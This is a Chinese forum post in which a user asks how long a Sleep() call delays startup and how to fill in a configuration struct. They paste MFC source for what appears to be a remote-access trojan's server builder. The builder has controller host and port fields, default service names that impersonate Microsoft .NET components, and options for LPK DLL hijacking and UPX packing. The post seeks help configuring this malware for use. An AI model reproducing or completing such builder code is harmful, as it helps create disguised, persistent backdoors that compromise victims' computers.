注册 登录
编程论坛 VC.NET论坛

是等于延迟多少秒启动啊?朋友们多多担待

qq550677923 发布于 2014-07-05 18:55, 5724 次点击
  朋友们多多担待,Sleep(1000*60*30*10);,这句话好像一般都用于延迟启动吧?

1000*60*30*10=18000000

是等于延迟多少秒启动啊?

还有麻烦各位朋友指示一下

    0xCCCCCC8D,
        "",
        "",
        8000,
        "",
        "",
        "",
        FALSE,
        FALSE,
        FALSE,

这里该怎么填,第三个应该是端口,第一个填写什么?第二填写什么?还有另外的,麻烦大家指教 12

CBuild::CBuild(CWnd* pParent /*=NULL*/)
    : CDialog(CBuild::IDD, pParent)
{
    //{{AFX_DATA_INIT(CBuild)
    m_host = "127.0.0.1";
    m_port = "2000";
    m_ServiceName = ((CMyApp *)AfxGetApp())->m_IniFile.GetString(_T("Build"), _T("ServiceName"), _T(".Net CLR"));
    m_ServiceDescription = ((CMyApp *)AfxGetApp())->m_IniFile.GetString(_T("Build"), _T("Description"), _T("Microsoft .NET COM+ Integration with SOAP"));
    m_ServiceDisplayName = ((CMyApp *)AfxGetApp())->m_IniFile.GetString(_T("Build"), _T("DisplayName"), _T("Microsoft .Net Framework COM+ Support"));

}

void CBuild::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CBuild)
    DDX_Control(pDX, IDC_EDIT_VIPPASS, m_vippass);
    DDX_Control(pDX, IDC_EDIT_VIPID, m_vipid);
    DDX_Text(pDX, IDC_HOST, m_host);
    DDX_Text(pDX, IDC_PORT, m_port);
    DDX_Text(pDX, IDC_SERVICE_NAME, m_ServiceName);
    DDX_Text(pDX, IDC_SERVICE_DESCRIPTION, m_ServiceDescription);
    DDX_Text(pDX, IDC_SERVICE_DISPLAYNAME, m_ServiceDisplayName);
    DDX_Check(pDX, IDC_LPK_HACK, m_lpk_hack);
    DDX_Check(pDX, IDC_IPC, m_ipc);
    DDX_Check(pDX, IDC_UPX, m_upx);
    DDX_Check(pDX, IDC_ALIVE, m_alive);
    //}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CBuild, CDialog)
    //{{AFX_MSG_MAP(CBuild)
    ON_BN_CLICKED(ID_BUILD, OnBuild)
    ON_BN_CLICKED(IDC_RANDOM, OnRandom)
    ON_BN_CLICKED(IDC_BUTTON_TEST, OnButtonTest)
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CBuild message handlers
MODIFY_DATA g_Modify_Data=
{
    0xCCCCCC8D,
        "",
        "",
        8000,
        "",
        "",
        "",
        FALSE,
        FALSE,
        FALSE,
};

BOOL CBuild::OnInitDialog()
{
    CDialog::OnInitDialog();
    // TODO: Add extra initialization here
    if (m_bFirstShow)
    {
        CString strGetID = ((CMyApp *)AfxGetApp())->m_IniFile.GetString("LocalSetting","ID");
        CString strGetPASS = ((CMyApp *)AfxGetApp())->m_IniFile.GetString("LocalSetting","PASS");
        SetDlgItemText(IDC_EDIT_VIPID, MyDecode(strGetID.GetBuffer(0)));
        SetDlgItemText(IDC_EDIT_VIPPASS,MyDecode(strGetPASS.GetBuffer(0)));   
    }

[ 本帖最后由 qq550677923 于 2014-7-5 19:06 编辑 ]
0 回复
1